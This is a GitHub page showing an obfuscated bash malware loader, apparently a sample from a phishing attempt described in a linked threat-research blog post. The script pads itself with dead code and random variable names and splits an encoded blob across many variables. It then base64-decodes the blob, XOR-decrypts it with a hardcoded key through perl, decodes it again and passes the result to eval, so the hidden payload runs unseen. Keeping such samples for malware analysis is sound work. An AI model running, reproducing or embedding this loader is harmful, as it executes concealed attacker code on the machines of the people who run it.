Skip to content

payload1-obfuscated.md

Latest commit

 

History

History
63 lines (57 loc) · 3.17 KB

payload1-obfuscated.md

File metadata and controls

63 lines (57 loc) · 3.17 KB
Raw

https://blog.asymmetric.re/threat-contained-behind-the-scenes-of-a-blocked-phishing-attempt/

#!/bin/bash

if false; then
    BsGRzakN() {
        local var=700
        return 0
    }
    echo 'aRDIUMcYwh'
    YGtihC=934
    LIdtNj=253
    IKrCBG=289
    echo 'mClGJqbNTw'
    SJAnak=448
fi

NfSFhe() { echo "$1" | base64 --decode; }

ffbMHFfa='FsieplDZGCoU0rcTQnJyFT2'
# YQvLxAlutp
HdrnUHdT='ClbhqhjomObi/S2gDJDIW8r+ma902Jjy3yTBoA1Q5FvmJqWzlGzgRo7wcaANUORb5lbxt9zY0Obi'
# aPsPpUKeHB
eKOJpCsV='zCXUHeSQ78'
# vTWpBPqjqU
RQRgTyFx='pnga802LDm4s0toB0cuPIOvqkrdNTgRo78XQy1EOTv5keVK3TU4EaO/AXsYRDk79p2pU4YibwqnkQFAOVduPciauUDTGzgRo7wcRQhfaxzYmrdA9zU4EaO8HEItQykF5p3gQPwQLzynmhx7B3kkPsiZoGvdNjQ5uLMJdQ'
# vsTzzlIDsM
cHkyduVF='d5JDvwtLdA9zU4Ea'
VMRJAmVw='O8HGgDVDkW8pmgU902NDm4swloB1soPd+JuGjjQSURo7c1QBdbJz2ClaZT2iYKAre7D0I5XDk79rO8a9MbOBGjvBxoA1Q5FvKat0D3NTgRo7wcQnJDbhb5ibhq2RAzPKWvC0JyZj'
CDlDLkuR='k79uO3U/MYJTmXkhxoA1Q5FvKat0D3NTgRo7wc'
# VPgMfYTNoU
aQekdzVv='aANUOQXps6Bt9zYmAri/F3gYRBUW8pq'
mUOhyjyE='3QPc1OBGjvBxoA1Q5Bebuu0DzGDIbibwcaANUORbymrdT40E0'
# BUBODPOFVG
atIPKCNN='Eai3F0IHQzY78LS3QPc1OAK3yBB'
qKAcnYpk='oCEcnOuC'
xWJDLfEu='0t0D3NTg5t6QcRQdTJwWDjeBb8xglOZm/C0I5VDcW2JngaPMiKhuJvBxoA1Q5FvKat2rZIm88uLcOYilUORbymbxr2SU4ObekMGgDVDkW+ZW8bfc2MjrShRB7GF8PBumJv0D8JikRo7QNdy0sLTvm6rxqzUw2EaOkHEUHUycFg43gW/MYJTmZvBZoA1woFta0t0D3NTg70qtLaAdTKTz07rhr4yE4PKfFHGgpIBA+5pWpa4c'
gPNMziwX='6KQKOry57F1MqPMiSm0D3NTgR'
# dGosOZKsBH
gEMrctkB='qLMXRQNXNjz5mYFQ7CYwEaivDWgHTyg99om8atg2NzynmhxrK'
# MUxjQxjMGD
YiowlbUP='Vc2PPmZn1DjRTMbibwcaANXJAXpirdt8yIrO6W7DEIGVzY79ry3bfNMOBGJxEtDGFQoFtiavUDzMig7pcgTQxdAFR'
# ToHHvGGexQ
LnBXqOxw='bymrdA/CYmPbGSHGgDVDkW8pq3QPMmKRGosxR7F20'
AWMCvdrM='tFvmVumrZGCg8o7wSQi0lORPmgrdA3TUyEai7SkNzRzIF8pm9a4c+KxGnxBZoCEcyPemZkmr8Ng4BuK8UYilUORbymbxr2SU4PKi3TmIpVDkW8pngatofFBGjvBxoA1Q5FvKZu2vNNiU5p6sIQwNXJAaCka'
# xhCAwlhsyJ
sxBqkhhV='Bq/CU4EY2zDGgDXDkV2JmobeNNbwK3rBx7LSwnPeKZplPdNjc7qL8qeBhHMRbygrdA3TU2EaOkHEIYQyg79o27QPMuKTuNzRxDckw5O/aNpGrxMig7pr8TRQdyFRbymrdA8yIqAqO/S0IufhUW8pq3QPwmJj2xkhxoA1Q5FvKat0DzJikRqLMUexdtLRb5lbpq2RgoPKO8EkQHU247+ZK3ReM5OBGJvBZoCFNvPYKJvFP3NjI607cPaAcsMxb5ibxr7DYdO6i/KngYRzEc2Jq3QPc2MzqNrBxFCF9rHNiat0D3Nm87jpYwaANUORbymr'
zCjjQlXA='dA9zY0Opm/AUAHQy098pmqUIc+LzuorBxoLVsxPebiu0D3AGsRo7QcaylXJjvm4uBT4yU4Ao3EAkMTVygF2JngU+NFKAm4vwx0B1NuPvC0t0D3NTgCt8gQaAhHJz'
# xUtWZtiFhv
bngKZVnj='rgtLdA9zU4PKi3TmIpVDkW8pq3QPc1OAKnxRxCcn0yPfast2qGOiY5uL9LaAhTb'
# vuHdRpIQZC
fbicHUzO='z2CibxT9zYyOtO3D2gHLDMW+Ym8a+w2HTuovyp4GEcxHNiat0D3'
# aCiPlRapDd
Nrxsxutz='NjM6jawcRQhfaxzcjaVT9zYmPLfJFQ=='
# kwGYQVkRqD

hVMdUZ="${ffbMHFfa}${HdrnUHdT}${eKOJpCsV}${RQRgTyFx}${cHkyduVF}${VMRJAmVw}${CDlDLkuR}${aQekdzVv}${mUOhyjyE}${atIPKCNN}${qKAcnYpk}${xWJDLfEu}${gPNMziwX}${gEMrctkB}${YiowlbUP}${LnBXqOxw}${AWMCvdrM}${sxBqkhhV}${zCjjQlXA}${bngKZVnj}${fbicHUzO}${Nrxsxutz}"

JkNJfw=$(echo "$hVMdUZ" | base64 --decode | perl -e 'my $key = pack("H*", "5fb1dbd009b4745f58e0fd7b2140155e"); my $data = do { local $/; <STDIN> }; my $k = length($key); for(my $i=0; $i < length($data); $i++){ print chr( ord(substr($data, $i, 1)) ^ ord(substr($key, $i % $k, 1)) ); }')
pmjGNd=$(NfSFhe "$JkNJfw")
eval "$pmjGNd"